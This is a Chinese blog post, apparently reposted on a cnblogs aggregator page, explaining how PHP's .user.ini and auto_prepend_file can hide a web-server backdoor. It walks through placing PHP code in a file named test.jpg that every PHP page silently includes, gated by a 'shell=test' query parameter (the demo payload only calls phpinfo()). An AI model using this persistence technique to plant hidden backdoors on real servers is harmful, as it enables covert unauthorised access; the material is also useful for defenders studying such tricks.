首页 > 其他分享 >利用.user.ini文件隐藏后门

利用.user.ini文件隐藏后门

时间:2024-03-08 10:23:09浏览次数:24  
标签:后门 文件 php INI ini PHP user

0x00 前言

在PHP中有个很有趣的东西叫.user.ini,有点类似.htaccess文件,PHP会在每个目录下扫描INI文件,我们可以通过.user.ini文件来实现隐藏后门的效果
官方手册地址:传送门

通过阅读手册,我们知道在.user.ini中可以识别PHP_INI_PERDIRPHP_INI_USER模式的INI设置

关于PHP_INI_*一共有四种:

模式 含义
PHP_INI_USER 可在用户脚本以及.user.ini中设定
PHP_INI_PERDIR 可在php.ini,.htaccess或httpd.conf中设定
PHP_INI_SYSTEM 可在php.ini或httpd.conf中设定
PHP_INI_ALL 可在任何地方设定

查阅php.ini配置选项列表手册

发现了一个比较有意思的配置项:auto_prepend_file

该配置项会让php文件在执行前先包含一个指定的文件,通过这个配置项,我们就可以来隐藏自己的后门

0x01 Action

这里由于要使用FastCgi解析php,所以在PHPStudy里面选的环境是php-5.6.27-nts + Nginx

然后在目录下创建一个.user.ini文件,内容如下

auto_prepend_file=test.jpg

然后再创建一个test.jpg文件,内容如下

<?php 
	if(@$_GET['shell']=='test'){
		phpinfo();
	}
?>

这时,我们访问一个正常的php文件

然后再带上参数shell=test

就可以实现我们的隐藏后门了,具体如何利用就看各位的脑洞

标签:后门,文件,php,INI,ini,PHP,user
From: https://www.cnblogs.com/WaxToday/p/18060399

相关文章

  • User Agent 数据解释说明
    Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/114.0.0.0Safari/537.36UA字符串各部分的含义如下:Mozilla/5.0:表示当前浏览器所使用的用户代理标识符的版本号。它几乎是一个固定的写法。(WindowsNT10.0;Win64;x64):表示......
  • 「AGC005B」 Minimum Sum
    题意给定一个整数序列\(a\),求\(\sum\limits^{N}_{l=1}\sum\limits^{N}_{r=l}\min(a_l,a_{l+1},\cdots,a_{r})\)(注意\(r\)的初始值是\(l\))。分析当我们模拟样例时,可以发现,每一个数都只会在一个区间内最小,而最小值不断更新成更小的,所以可以用单调栈求解出\(a_i\)对应......
  • 详解Python魔法函数,__init__,__str__,__del__
    1、简介Python作为一门灵活而强大的编程语言,提供了许多特殊的方法,被称为魔法函数(Magicmethods)。这些魔法函数以双下划线开头和结尾,能够让我们自定义类的行为,使得Python更加灵活和易用。本文将详细介绍Python中的魔法函数,帮助读者理解其作用和用法。1.1、什么是魔法函数?魔法函......
  • Spring反序列化失败 Type definition error: [simple type, class xxx.xxx.xxx]
    也许更好的阅读体验Typedefinitionerror:[simpletype,classcom.elm.po.CommonResult];nestedexceptioniscom.fasterxml.jackson.databind.exc.InvalidDefinitionException:Cannotconstructinstanceofcom.elm.po.CommonResult(noCreators,likedefaultconstru......
  • 运行时遇到Oracle错误1017 invalid username/password;login denied
    参考链接:https://answer.baidu.com/answer/land?params=7elCyy2%2BVQFLNLJM1h81dr5QZQQgc1gH3Jx0mKtGyC9iN883lLAjVKkqqFwgT9IkwDSCCV6LpBhAaZmXkqXteDsXxjanzrzpWVxBkZhfR3Unz5gw02%2BImYJ2Z%2Bvnm92UuArsoipr6J4Lg4wWW8llDohcXIR6bJhJl2%2Fy598QiTvvwPJAYShha1DQ3DoUCfGRi%2BD......
  • Django Custom Authentication | Registration, Login, Logout, ResetPassword, UserP
    Startaprojectdjango-adminstartprojectregistrationFormProjectdirectoryregistration/settings.py#ApplicationdefinitionINSTALLED_APPS=['django.contrib.admin',#Usedforauthentication'django.contrib.auth',......
  • vscode 的sync的问题RequestFailed (UserDataSyncError) syncResource:unknown operat
    024-03-0708:58:24.361[error]RequestFailed(UserDataSyncError)syncResource:unknownoperationId:unknown:Connectionrefusedfortherequest'https://vscode-sync.trafficmanager.net/v1/manifest'.atu.D(c:\Debug\VSCode\resources\app\ou......
  • MAC OS :ERROR: Failed to open file '\Users\futantan\Downloads\atguigudb.sql'
    在操作source\Users\futantan\Downloads\atguigudb.sql的时候出现ERROR: Failedtoopenfile'\Users\futantan\Downloads\atguigudb.sql',error:2 解决方案,在对应的路径下开启mysql udandandeMacBook-Pro:mysqlfutantan$mysql-uroot-pEnterpassword:Welcom......
  • (22)Lazarus退出时保存相关对象值为Ini和XML格式(IniPropStorage1和XMLPropStorage1)
    参考自带例子C:\lazarus\examples\propstorage1]放一个IniPropStorage1到界面上,将它的IniFileName设置为config.ini 2]类似地,拖一个XMLPropStorage1到界面上,将它的FileName设置为config.xml 3]添加要保存的属性 ......
  • 收藏:关于RADIUS的简明解释(Remote Authentication Dial In User Service远程用户拨号认
    收藏:关于RADIUS的简明解释(RemoteAuthenticationDialInUserService远程用户拨号认证系统)来自:https://baike.sogou.com/v4710162.htm?ch=frombaikevr&fromTitle=RADIUSRADIUS:RemoteAuthenticationDialInUserService,远程用户拨号认证系统(与radius半径的单词拼法一致)......